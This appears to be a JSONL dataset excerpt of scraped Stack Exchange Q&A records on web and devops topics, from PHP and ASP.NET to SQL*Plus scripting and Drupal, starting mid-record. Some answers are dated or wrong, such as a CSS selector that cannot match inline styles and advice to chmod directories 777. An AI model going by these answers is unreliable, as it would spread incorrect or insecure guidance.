lines out of the passwd file)\nIt might be that svn matches from top to bottom - this is not documented, and I didn't test. So try\n```\n```\n[/]\nread-only = r\n* = rw\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.099405"}
{"id": "hf_05c40276c54d", "question": "<p>In building an ASP.NET 3.5 WAP, I'm always frustrated by the feeling that no matter how I \"isolate\" or \"encapsulate\" bits of logic or UI I'm still going to bring down the whole site any time I need to update a single line of code. I may be misunderstanding how ASP.NET handles changes in the \"bin\" directory, but given the number of \"why is my AppDomain unloading?\" messages in the various groups this still seems like something to avoid.</p>\n\n<p>Does anyone have any guidance and/or frameworks to truly modularize an ASP.NET 3.5 WAP so that logic and pages can be added/updated \"in flight\"? I Googled System.AddIn a bit, but it seems to be focused on WPF applications.</p>\n\n<p>Thanks for your help!</p>\n\n<p>James White</p>\n", "question_body": "", "answer": "This is really hard to achieve since .NET doesn't support unloading a type that has been loaded into the app domain.\nOne way to do it is playing around with app-domains, or having WCF do it for you.\nAnother would be implementing ayende's\nhod code swapping\n.\nA third way would be putting logic in the dynamically compiled part (the ASPX). However the app will restart after a configurable amount of changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.159006"}
{"id": "hf_5096108cf051", "question": "<p>Help!</p>\n\n<p>I have a PHP (PHP 5.2.5) script on HOST1 trying to connect to an MySql database HOST2. Both hosts are in Shared Host environments controlled through CPanel.</p>\n\n<p>HOST2 is set to allow remote database connections from HOST1.</p>\n\n<p>The PHP connect I'm using is:-\n    $h2 = IPADDRESS;\n    $dbu = DBUSER;\n    $dbp = DBPASS;</p>\n\n<pre><code>$DBlink = mysql_connect($h2, $dbu, $dbp);\n</code></pre>\n\n<p>This always fails with:-</p>\n\n<pre><code>Access denied for user '&lt;dbusername&gt;'@'***SOMESTRING***' (using password: YES)\n</code></pre>\n\n<p>nb: <strong><em>SOMESTRING</em></strong> looks like it could be something to do with the shared host environment.</p>\n\n<p>Any ideas???</p>\n\n<p>BTW: I can make remote connections to HOST2 from my laptop using OpenOffice via ODBC, and SQLyog. The SQLyog and ODBC settings are exactly the same as the PHP script is trying to use.</p>\n", "question_body": "", "answer": "Just some ideas:\nHOST1 does not have remote access to HOST2 (shared host is disallowing)\nMySQL account does not have access from HOST1 (IP address specified on account creation, or wildcard)\nEdit:\nIn response to your comment, I meant that HOST1 cannot get to the MySQL port on HOST2. Web services will work, of course, because port 80 is open to the public. As another user pointed out though, you are getting a response, so you are reaching it. I would try specifying the DB, and double checking the account creation command you ran.\nFor the second piece, I meant this:\nhttp://dev.mysql.com/doc/refman/5.0/en/adding-users.html\nYou can specify what host the username can connect from. If it isn't set to HOST2's IP or the wildcard, HOST2 can't log in with those credentials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.231764"}
{"id": "hf_2cf285051a8a", "question": "<p>I am instantiating a local COM server using CoCreateInstance.  Sometimes the application providing the server takes a long time to start.  When this happens, Windows pops a dialog box like this:</p>\n\n<p><strong>Server Busy</strong></p>\n\n<p>The action cannot be completed because the other program is busy. Choose 'Switch To' to activate the busy program and correct the problem.</p>\n\n<p>[Switch To...] [Retry] [Cancel]</p>\n\n<p>I have found mention of a Visual Basic property on the Application object, OleRequestPendingTimeout, that can be used to control the time before this dialog comes up.  I can't find any good documentation on this or an equivalent that is useful from C++.  Can anyone point me in the right direction?</p>\n", "question_body": "", "answer": "Have a look at\n```\nIMessageFilter\n```\nand\n```\nCoRegisterMessageFilter\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.279403"}
{"id": "hf_7bcf4b3827fa", "question": "<p>I want my php script to create an output file in a folder based on the date.  The way I'm doing this is that its supposed to get the foldername/filename from a text file outputted by another program which I am unable to edit.</p>\n\n<p>So the file its grabbing the data from looks like this:</p>\n\n<pre><code>data/newfolder/10302008/log_for_Today.txt | 24234234\n</code></pre>\n\n<p>Only with multiple lines, I just need the script to go through it line by line, grab the folder/filename and create an empty file with that name in that location.</p>\n\n<p>The directories are all 777.  Now I know how to create a new empty exe file in a folder but can't seem to figure out how to create the folder first then the exe inside of it, any ideas?</p>\n", "question_body": "", "answer": "Can't you just do this by creating the dir with mkdir (\nhttp://nl.php.net/manual/en/function.mkdir.php\n) then chmod it 777 (\nhttp://nl.php.net/manual/en/function.chmod.php\n) the change directory with chdir (\nhttp://nl.php.net/manual/en/function.chdir.php\n) and then create the file (touch)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.303205"}
{"id": "hf_e41824402860", "question": "<p>What's the Hi/Lo algorithm?</p>\n\n<p>I've found this in the <a href=\"http://en.wikipedia.org/wiki/NHibernate\" rel=\"noreferrer\">NHibernate</a> documentation (it's one method to generate unique keys, section 5.1.4.2), but I haven't found a good explanation of how it works.</p>\n\n<p>I know that Nhibernate handles it, and I don't need to know the inside, but I'm just curious.</p>\n", "question_body": "", "answer": "The basic idea is that you have two numbers to make up a primary key- a \"high\" number and a \"low\" number. A client can basically increment the \"high\" sequence, knowing that it can then safely generate keys from the entire range of the previous \"high\" value with the variety of \"low\" values.\nFor instance, supposing you have a \"high\" sequence with a current value of 35, and the \"low\" number is in the range 0-1023. Then the client can increment the sequence to 36 (for other clients to be able to generate keys while it's using 35) and know that keys 35/0, 35/1, 35/2, 35/3... 35/1023 are all available.\nIt can be very useful (particularly with ORMs) to be able to set the primary keys on the client side, instead of inserting values without primary keys and then fetching them back onto the client. Aside from anything else, it means you can easily make parent/child relationships and have the keys all in place before you do\nany\ninserts, which makes batching them simpler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.327106"}
{"id": "hf_66db8585d129", "question": "<p>I've used a Continuous Integration server in the past with great success, and hadn't had the need to ever perform a code freeze on the source control system. </p>\n\n<p>However, lately it seems that everywhere I look, most shops are using the concept of code freezes when preparing for a release, or even a new test version of their product. This idea runs even in my current project.</p>\n\n<p>When you check-in early and often, and use unit tests, integration tests, acceptance tests, etc., are code freezes still needed?</p>\n", "question_body": "", "answer": "I think that code freezes are important because each new feature is a potential new source of bugs. Sure regression tests are great and help address this issue. But code freezes allow the developers to focus on fixing\ncurrently outstanding bugs\nand get the current feature set into a release worthy state.\nAt best, if I really wanted to develop new code during a code freeze, I would fork the frozen tree, do my work there, then after the freeze, merge the forked tree back in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.350714"}
{"id": "hf_1f22c1db732a", "question": "<p>I know about using a -vsdoc.js file for <a href=\"http://en.wikipedia.org/wiki/IntelliSense\" rel=\"nofollow noreferrer\">IntelliSense</a>, and the one for jQuery is easy to find. What other JavaScript, Ajax, and DHTML libraries have them and where can  I find those files? Also, is there a document which outlines the specifications for -vsdoc.js files?</p>\n", "question_body": "", "answer": "An excellent blog posting from Betrand LeRoy on IntelliSense format for JavaScript:\nThe format for JavaScript doc comments\n.\nIn a nutshell:\nSummary - used to describe a function/method or event. Syntax:\n```\n```\n<summary locid=\"descriptionID\">Description</summary>\n```\n```\nParameter - describe a parameter to a function/method. Syntax:\n```\n```\n<param name=\"parameterName\"\n    mayBeNull=\"true|false\" optional=\"true|false\"\n    type=\"ParameterType\" parameterArray=\"true|false\"\n    integer=\"true|false\" domElement=\"true|false\"\n    elementType=\"ArrayElementType\" elementInteger=\"true|false\"\n    elementDomElement=\"true|false\"\n    elementMayBeNull=\"true|false\">Description</param>\n```\n```\nThe param tag is used to describe the parameters of a method or constructor. The param tags should be in the same order as the method or constructor's parameters and have the same names.\nFunction return type - syntax:\n```\n```\n<returns\n    type=\"ValueType\" integer=\"true|false\" domElement=\"true|false\"\n    mayBeNull=\"true|false\" elementType=\"ArrayElementType\"\n    elementInteger=\"true|false\" elementDomElement=\"true|false\"\n    elementMayBeNull=\"true|false\">Description</returns>\n```\n```\nValue type - describes a property (shouldnt use 'summary' for a prop) - syntax:\n```\n```\n<value\n    type=\"ValueType\" integer=\"true|false\" domElement=\"true|false\"\n    mayBeNull=\"true|false\" elementType=\"ArrayElementType\"\n    elementInteger=\"true|false\" elementDomElement=\"true|false\"\n    elementMayBeNull=\"true|false\"\n    locid=\"descriptionID\">Description</value>\n```\n```\nField - used to describe a field in a JavaScript class - syntax:\n```\n```\n<field name=\"fieldName\" type=\"FieldType\"\n    integer=\"true|false\" domElement=\"true|false\" mayBeNull=\"true|false\"\n    elementType=\"ArrayElementType\" elementInteger=\"true|false\"\n    elementDomElement=\"true|false\" elementMayBeNull=\"true|false\"\n    locid=\"descriptionID\">Description</field>\n```\n```\nHow to include IntelliSense for an external JavaScript file, the following syntax as the first line(s) in a JavaScript file:\n```\n```\n<reference path=\"path/to/the/script/reference.js\"\n    assembly=\"Assembly.Name\" name=\"ScriptResourceName.js\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.399008"}
{"id": "hf_6bd0ac81b4a7", "question": "<p>Assuming one has an abstract base class <code>foo</code> with <code>__get()</code> defined, and a child class <code>bar</code> which inherits from <code>foo</code> with a private variable <code>$var</code>, will the parent <code>__get()</code> be called when trying to access the private <code>$var</code> from outside the class?  </p>\n", "question_body": "", "answer": "Yes.\n```\n```\n<?php\n    abstract class foo\n    {\n        public function __get($var)\n        {\n            echo \"Parent (Foo) __get() called for $var\\n\";\n        }\n    }\n\n   class bar extends foo\n   {\n        private $var;\n        public function __construct()\n        {\n            $this->var = \"25\\n\";\n        }\n\n        public function getVar()\n        {\n            return $this->var;\n        }\n    }\n\n    $obj = new bar();\n    echo $obj->var;\n    echo $obj->getVar();\n?>\n```\n```\noutput:\n$ php test.php\nParent (Foo) __get() called for var\n25", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.472228"}
{"id": "hf_2d9157d35a94", "question": "<p>I just found out that by converting PNG32 to PNG8 via Photoshop will fix the PNG transparency bug in IE&lt;=6. </p>\n\n<p>So I had this thought that instead of serving PNG32 to all browser, why not serve PNG8 if the client is using IE&lt;=6. </p>\n\n<p>I'm not really an expert when it comes to htaccess/httpd directives so I'm here for help. </p>\n\n<p>The title is the psuedocode itself.</p>\n", "question_body": "", "answer": "Put this in your .htaccess\n```\n```\nRewriteEngine on\nRewriteRule ^/(.*)\\.png$ /$18.png [L,QSA]\n```\n```\nShould work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.496697"}
{"id": "hf_d418d99a23a4", "question": "<p>How do I write the CC logo in HTML, is there something like <code>&amp;copy;</code> (which gives &copy;)?</p>\n\n<p>(CC stands for Creative Commons).</p>\n", "question_body": "", "answer": "As far as I know, there is no character for this, so you'll have to use a graphic.\nThere are some nice ones\nhere\n. By the way, on this page, there's also a logo font you could use in HTML, but this won't show correctly for other users that don't have the font installed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.520584"}
{"id": "hf_c1e36c2d2664", "question": "<p>in my flex application, I created a Tilelist. In this Tilelist, I am using an ItemRenderer to create a box consisting of an image and an VSlider in each tile. </p>\n\n<p>The tile need to be dragable when you click on the image, but not dragable when you slide the slider. How can I achieve this ? I have been scratching my head searching on Google for one day and I have really no idea.</p>\n\n<p>I look forward to your help.\nThank you.</p>\n", "question_body": "", "answer": "I found a solution to my problem, however it may not be the best one.\nUsing this :\n```\n```\npublic var overImage:Boolean = false;\n\n        public function checkAllow(evt:DragEvent):void {\n\n            if(overImage == false)\n            {\n                evt.preventDefault()\n            }\n        }\n\n        public function isOverImage():void {\n            overImage = true;\n        }\n\n        public function isOutImage():void {\n            overImage = false;\n        }\n```\n```\nI call those functions like this :\nOn my image component\n```\n```\nmouseOver=\"outerDocument.isOverImage()\" mouseOut=\"outerDocument.isOutImage()\"\n```\n```\nAnd for my tilelist I did this\n```\n```\nTiles.addEventListener(DragEvent.DRAG_START, checkAllow);\n```\n```\nHope it helps some people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.580944"}
{"id": "hf_3b0649f55d4c", "question": "<p>I am trying to find out how much memory my application is consuming from within the program itself. The memory usage I am looking for is the number reported in the \"Mem Usage\" column on the Processes tab of Windows Task Manager.</p>\n", "question_body": "", "answer": "A good starting point would be\nGetProcessMemoryInfo\n, which reports various memory info about the specified process. You can pass\n```\nGetCurrentProcess()\n```\nas the process handle in order to get information about the calling process.\nProbably the\n```\nWorkingSetSize\n```\nmember of\n```\nPROCESS_MEMORY_COUNTERS\n```\nis the closest match to the Mem Usage coulmn in task manager, but it's not going to be exactly the same. I would experiment with the different values to find the one that's closest to your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.615633"}
{"id": "hf_a7c6553061ff", "question": "<p>I want to select a bunch of <code>span</code>s in a <code>div</code> whose CSS contains a particular background color. How do I achieve this?</p>\n", "question_body": "", "answer": "Use the attribute selector [attribute=value] to look for a certain attribute value.\n```\n```\n#id_of_the_div span[background-color=rgb(255,255,255)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.650482"}
{"id": "hf_18b6230053ae", "question": "<p>I'm trying to pull data from an ODBC app to SQL2005(dev ed) DB on an hourly basis.  When I run SSIS the option to import all tables and views is grayed out and forces your to write a query. How would I go about setting up a SSIS integration service to update ALL 250 some tables on an hourly basis.  </p>\n", "question_body": "", "answer": "perhaps you could rephrase your question a little, I am not 100% sure what you are asking here. Are you trying to get data into SQL Server from an application via SSIS with the Data Transform task using an ODBC connection to the Application?\nAnyhoo, the simple answer to the MS Access part of your question is \"hell no\" MS Access is never, ever the answer to anything ;-)\nI would be inclined to find out why the tables and views are greyed out and fix that issue. (not enough info in this question to determine why they are greyed out)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.674201"}
{"id": "hf_b69af15aab49", "question": "<p>I just want ask the steps when trying to create a simple SQL select statement in UNIX inside/within IF..THEN..FI statement.</p>\n\n<p>I know how to use the 'select' and 'if..then' statements in SQL*Plus, but I'm having a difficulties having a UNIX script to point to variables: If 'ABC' to 'Select...'</p>\n\n<h2>Example:</h2>\n\n<p>if [ \"$?\" = 'ABC' ]\nthen\n    SELECT employid, name, age FROM tablename;\nelse\n    exit 1\nfi</p>\n\n<p>if [ \"$?\" = 'XYZ' ]\nthen\n    SELECT employid, name, age FROM tablename;\nelse\n    exit 1\nfi</p>\n\n<p>How do I put it in a UNIX script more correctly syntax wise and right to the point?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This sounds like you're trying to embed SQLPlus in a shell script.  From memory the incantation should look something like:\n```\n```\nif [ $? -eq ABC ]; then\nSQLPLUS /S USER/PASS@Instance <<EOF\nSET echo off;\nSET pagesize 0;\nSET heading off;\nSPOOL foo.out\nselect foo from bar\nEOF\nfi\n```\n```\nEverything between the SQLPLUS and EOF is passed to SQLPlus, so we have some statements to control the formatting (you may want different ones) and the actual query.  The SPOOL command in the SQLPlus script sends the output to a file.  For more detailed docs on using SQLPlus, You can download them from\nOracle's web site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.710304"}
{"id": "hf_73638e1fb492", "question": "<p>I know they're using a jQuery plugin, but I can't seem to find which one they used. In particular, what I'm looking for is autocomplete with exactly the same functionality as SO's autocomplete, where it will perform an AJAX command with each new word typed in and allow you to select one from a dropdown.</p>\n", "question_body": "", "answer": "Note that the tag editor\nhas been completely re-written now\n, and no longer resembles the original, simple text box w/ suggestion drop-down that adorned the site for nearly three years.\nIf you're interested in the new form, see this Meta question:\nhttps://meta.stackexchange.com/questions/102510/can-i-use-the-tag-textbox-script\nAutocomplete\nis the plugin used originally, albeit with various tweaks and customizations made to it over the years.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.815783"}
{"id": "hf_30e80ca0b364", "question": "<p>I run a series of time consuming operations on a background worker thread.  At various stages I update a (windows form) progress bar by invoking a delegate.  However, one of the more time operations occurs on a single line of code.</p>\n\n<p>Is it possible to :</p>\n\n<p>a) Update the UI while that single line of code is being executed, or at least display an animated icon that shows the user that work is being done.</p>\n\n<p>b) Let the user cancel the background worker thread while that single line of code is being executed</p>\n", "question_body": "", "answer": "Unfortunately, probably not.  The background worker thread needs to call ReportProgress to update the UI thread, and it needs to watch the CancellationPending to know whether it should stop or not.  So, if your worker thread is running along-running operation in a single line, there's no way to make this work.\nPerhaps, I've misunderstood, so here's code that simulates what I'm getting at:\n```\n```\npublic void DoWork() {\n    System.Threading.Thread.Sleep(10000);\n\n    // won't execute until the sleep is over\n    bgWorker.ReportProgress(100);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.949303"}
{"id": "hf_b009bff6b6ab", "question": "<p>Recently I had to move one of my web applications to a new hosting provider. The mail and web service is still held on the old hosting site however, when I try to send an email from the new server,I get an error; </p>\n\n<p>\"The server rejected one or more recipient addresses. The server response was:</p>\n\n<pre><code>450 &lt;email_address&gt;: Recipient address rejected: Greylisted for 5 minutes\n</code></pre>\n\n<p>I asked my old hosting provider what I need to do to fix this and they replied with</p>\n\n<blockquote>\n  <p>The mail server operates on POP before\n  SMTP. If a valid POP login is not\n  received before sending mail through\n  the server, then the mail is\n  greylisted and held for 5 minutes\n  before a retry. </p>\n  \n  <p>To prevent this, simply do a Receive\n  before sending mail</p>\n</blockquote>\n\n<p>Does anyone have any idea how I do a POP before SMTP in C#? </p>\n", "question_body": "", "answer": "i'm not sure how C# would handle the specifics (sockets?), but basically you just want to make a connection to your new POP server. here's a sample POP transaction:\n```\n```\n$ telnet new-pop-server.com 110\nConnected to new-pop-server.com.\nEscape character is '^]'.\n+OK\nUSER <username>\n+OK \nPASS <password>\n+OK               // you're authenticated at this point \nLIST\n+OK \n.                 // no new messages!\nQUIT\n+OK\n```\n```\nonce you're authorized you should be able to send your mail programatically. (USER, PASS, LIST, QUIT) are all commands you would send (\npop3 RFC\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.973545"}
{"id": "hf_326f76112d13", "question": "<p>want to pass boost::bind to a method expecting a plain function pointer (same signature).</p>\n\n<pre><code>typedef void TriggerProc_type(Variable*,void*);\nvoid InitVariable(TriggerProc_type *proc);\nboost::function&lt;void (Variable*, void*)&gt; triggerProc ...\nInitVariable(triggerProc);\n\nerror C2664: 'InitVariable' : cannot convert parameter 1 from \n'boost::function&lt;Signature&gt;' to 'void (__cdecl *)(type *,void *)'\n</code></pre>\n\n<p>I can avoid storing a boost::function and just pass the bound functor directly, but then I get similar error:</p>\n\n<pre><code>error C2664: 'blah(void (__cdecl *)(type *,void *))' : cannot convert parameter\n1 from 'boost::_bi::bind_t&lt;R,F,L&gt;' to 'void (__cdecl *)(type *,void *)'\n</code></pre>\n", "question_body": "", "answer": "I think you want to use the target() member function of boost::function (isn't that a mouthful...)\n```\n```\n#include <boost/function.hpp>\n#include <iostream>\n\nint f(int x)\n{\n  return x + x;\n}\n\ntypedef int (*pointer_to_func)(int);\n\nint\nmain()\n{\n  boost::function<int(int x)> g(f);\n\n  if(*g.target<pointer_to_func>() == f) {\n    std::cout << \"g contains f\" << std::endl;\n  } else {\n    std::cout << \"g does not contain f\" << std::endl;\n  }\n\n  return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:01.997623"}
{"id": "hf_04bcae53d282", "question": "<p>In Visual Studio, How do I show all classes inherited from a base class?  </p>\n\n<p><strong>For example</strong>, in ASP.NET MVC there are several '<a href=\"http://msdn.microsoft.com/en-us/library/system.web.mvc.actionresult.aspx\" rel=\"noreferrer\">ActionResult</a>' types -- and they all inherit from / implement the base class <code>ActionResult</code>.  </p>\n\n<p>It looks like unless you just 'know' that <code>View</code> and <code>Json</code> are valid <code>ActionResult</code> types, there is no way you can easily find this information out.  </p>\n\n<p><em>Please prove me wrong.</em></p>\n\n<p>Is there something in the object browser that makes this easy to find out?</p>\n\n<p>I'm even up for suggestions of tools outside of Visual Studio to discover this information about various classes.  For example: is there something in Resharper that will help me out?</p>\n", "question_body": "", "answer": "Sure,\nResharper\ncan do this. And much more.\nJust right click on type name in any place and choose \"Go To Inheritor\" in context menu.\n\"Go To Inheritor\" can be also applied to method for navigating to overrides and an interface method's implementations. For an interface you could call \"Find Usages Advanced\" again, just right click) where to find all extendings and implementations. For a type - derived types. \nAnd my favorite feature - click with holding Control on any type/method for navigating to its declaration.\nI think it's a must-have tool for .net developers.\nIn Resharper 9.2, on any type in source code, rt-click \"Find Usage Advanced\", select Find=\"Derived\" and Scope=\"Solutions and Libraries\".\nFor example, to find all inheritors (both in the library and your code) of some base class in an included DLL from any vendor, declare a variable in your code with that base class. Then right-click on that base class name you just typed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.022014"}
{"id": "hf_edda887ac857", "question": "<p>I have a rather complex decorator written by someone else. What I want to do is call a decorated version of the function one time based on a descision or call the original function (not decorated) another time. Is this possible?</p>\n", "question_body": "", "answer": "With:\n```\n```\ndecorator(original_function)()\n```\n```\nWithout:\n```\n```\noriginal_function()\n```\n```\nA decorator is just a function which takes a function as an argument and returns another one. The @ syntax is totally optional. Perhaps a sift through some\ndocumentation\nmight help clarify things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.057904"}
{"id": "hf_34284dd8c8c9", "question": "<p>I have a Flash application that is hosted from within a Drupal page.  Some parts of the Flash application should be available to all users, but some should only be available to a logged-in user.  (The specific role doesn't matter, just that they are any authorized user of the site).</p>\n\n<p>From within Flash, I can detect whether the user is logged on by screen-scraping the \"?q=user\" page, but this is very brittle.  What is the \"right\" way to do this?  I can install additional Modules if necessary, but they need to be compatible with Drupal 6, not 5.</p>\n\n<p>Similarly, if there is no user currently logged in, how can I take a username and password that they provide to me and log them in (or determine that the password is bad)?</p>\n", "question_body": "", "answer": "The \"right\" solution\nyou probably want to look at something like the\nservices module\n. basically, you want to expose user services to your flash app, so you can send requests (via XML-RPC or whatever implementation you choose) to get information like \"what access does the current logged in user have\", or \"login this user with username x and password y\" etc...\nThe do it yourself quickly solution\nif you're familiar with module development, you can create your own module quickly to just get the functionality you need, without having to go through a \"real\" web services layer. here's a quick example, creating a module called \"myservices\":\n```\n```\n<?php\n// myservices.info\n   name = My Services\n   description = Expose basic services\n   core = 6.x\n\n<?php\n// myservices.module\n\n   function myservices_menu() {\n       $items['myservices/user'] = array(\n         'title' => 'Get auth',\n         'page callback' => 'myservices_get_user',\n         'access arguments' => array('access content'),\n       );\n       return $items;\n   }\n\n   function myservices_get_user() {\n       global $user;\n       if (in_array('authenticated user', $user->roles) ) {\n           print 'yes';\n       } else {\n           print 'no';\n       }\n   }\n```\n```\nput those two files in a directory \"myservices\" in your modules directory, activate it, and then go to\n```\nhttp://yourdomain.com/myservices/user\n```\nif you're authenticated, it'll just return\n```\nyes\n```\n, and if not\n```\nno\n```\n, etc... which you can pick up in your flash app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.092123"}
{"id": "hf_122295c9409c", "question": "<p>What happens if the browser receives a redirect response to an ajax request?</p>\n", "question_body": "", "answer": "The\n```\najax-request\n```\nwill follow that redirect afaik. The actual content (\n```\n.responseText\n```\n,\n```\n.responseXML\n```\n) will be the content from the page you are redirected to.\nYou might be able to intercept the redirect (\n```\nstatus-code\n```\n,\n```\nlocation-header\n```\n) on\n```\nreadyState\n```\n2 or 3, but not sure about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.116034"}
{"id": "hf_2ac203d541c2", "question": "<p>Is there any software to help in learning / understanding / experimenting with the rules of harmony and counterpoint?</p>\n", "question_body": "", "answer": "While very carefully coded applications could give you some hints, I find that the most important lesson is when to break the rules. And a computer program could never help with that.\nI suggest you buy a book instead. Good ones include\nThe style of Palestrina and the dissonance\nTwentieth century harmony\nI haven't read any English books on baroque, wiener or romantic style.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.145817"}
{"id": "hf_aba75def94c8", "question": "<p>Is it possible to detect, on the client side, whether the user is using an encrypted page or not?</p>\n\n<p>Put another way -- I want to know if the URL of the current page starts with http or https.</p>\n", "question_body": "", "answer": "Use\n```\nwindow.location.protocol\n```\nto check if it is\n```\nhttps:\n```\n```\n```\nfunction isSecure()\n{\n   return window.location.protocol == 'https:';\n}\n```\n```\nAlternatively you can omit specifying \"window\" if you don't have a locally scoped location.\n```\n```\nfunction isSecure()\n{\n   return location.protocol == 'https:';\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.181796"}
